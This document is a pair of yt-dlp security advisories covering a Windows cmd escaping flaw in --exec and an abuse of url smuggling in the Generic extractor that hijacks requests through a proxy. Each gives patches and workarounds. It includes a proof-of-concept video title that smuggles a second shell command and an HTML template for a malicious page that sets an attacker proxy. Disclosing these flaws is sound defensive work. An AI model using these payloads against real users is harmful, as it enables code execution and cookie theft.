Impact yt-dlp allows the user to provide shell commands to be executed at various stages in its download process through the --exec flag. This flag allows output template expansion in its argument, so that video metadata values may be used in the shell commands. The metadata fields can be combined with the %q conversion, which is intended to quote/escape these values so they can be safely passed to the shell.
However, the escaping used for cmd (the shell used by Python's subprocess on Windows) did not properly escape special characters, which can allow for remote code execution if --exec is used directly with maliciously crafted remote data. This vulnerability only impacts yt-dlp on Windows, and the vulnerability is present regardless of whether yt-dlp is run from cmd or from PowerShell.
Support for output template expansion in --exec, along with this vulnerable behavior, was added to yt-dlp in version 2021.04.11.
shell yt-dlp https://youtu.be/Jo66yyCpHcQ --exec "echo %(title)q" [youtube] Extracting URL: https://youtu.be/Jo66yyCpHcQ [youtube] Jo66yyCpHcQ: Downloading webpage [youtube] Jo66yyCpHcQ: Downloading ios player API JSON [youtube] Jo66yyCpHcQ: Downloading android player API JSON [youtube] Jo66yyCpHcQ: Downloading m3u8 information [info] Jo66yyCpHcQ: Downloading 1 format(s): 135+251 [download] Destination: "&echo(&echo(pwned&rem( [Jo66yyCpHcQ].f135.mp4 [download] 100% of 4.85KiB in 00:00:00 at 60.20KiB/s [download] Destination: "&echo(&echo(pwned&rem( [Jo66yyCpHcQ].f251.webm [download] 100% of 4.80KiB in 00:00:00 at 31.58KiB/s [Merger] Merging formats into ""&echo(&echo(pwned&rem( [Jo66yyCpHcQ].mkv" Deleting original file "&echo(&echo(pwned&rem( [Jo66yyCpHcQ].f135.mp4 (pass -k to keep) Deleting original file "&echo(&echo(pwned&rem( [Jo66yyCpHcQ].f251.webm (pass -k to keep) [Exec] Executing command: echo "\"&echo(&echo(pwned&rem(" "\"
pwned
Patches yt-dlp version 2023.09.24 fixes this issue by properly escaping each special character. \n will be replaced by \r, as no way of escaping it has been found.
Workarounds It is recommended to upgrade yt-dlp to version 2023.09.24 as soon as possible. Also, always be careful when using --exec, because while this specific vulnerability has been patched, using unvalidated input in shell commands is inherently dangerous.
For Windows users who are not able to upgrade: - Avoid using any output template expansion in --exec other than {} (filepath). - If expansion in --exec is needed, verify the fields you are using do not contain ", | or &. - Instead of using --exec, write the info json and load the fields from it instead.
References - https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-42h4-v29r-42qg - https://nvd.nist.gov/vuln/detail/CVE-2023-40581 - https://github.com/yt-dlp/yt-dlp/releases/tag/2023.09.24 - https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2023.09.24.003044 - https://github.com/yt-dlp/yt-dlp/commit/de015e930747165dbb8fcd360f8775fd973b7d6e
Impact The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.
<details>
To pass extra control data between extractors (such as headers like Referer), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only.
Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a Referer header sent with it, for example.
Additionally, yt-dlp has internal headers to set a proxy for a request: Ytdl-request-proxy and Ytdl-socks-proxy. While these are deprecated, internally Ytdl-request-proxy is still used for --geo-verification-proxy.
However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to set an arbitrary proxy for an arbitrary url that the Generic extractor will request.
This could allow for the following, but not limited too: - An attacker can MITM a request it asks yt-dlp to make to any website. - If a user has loaded cookies into yt-dlp for the target site, which are not marked as secure, they could be exfiltrated by the attacker. - Fortunately most sites are HTTPS and should be setting cookies as secure. - An attacker can set cookies for an arbitrary site.
An example malicious webpage: html <!DOCTYPE html> <cinerama.embedPlayer('t','{{ targetsite }}#youtubedlsmuggle=%7B%22httpheaders%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')
Where {{ targetsite }} is the URL Generic extractor will request and {{ proxy url }} is the proxy to proxy the request for this url through.
</details>
Patches - We have removed the ability to smuggle httpheaders to the Generic extractor, as well as other extractors that use the same pattern.
Workarounds - Disable Generic extractor (--ies default,-generic), or only pass trusted sites with trusted content. - Take caution when using --no-check-certificate.
References - <https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x> - <https://nvd.nist.gov/vuln/detail/CVE-2023-46121> - <https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14> - <https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb>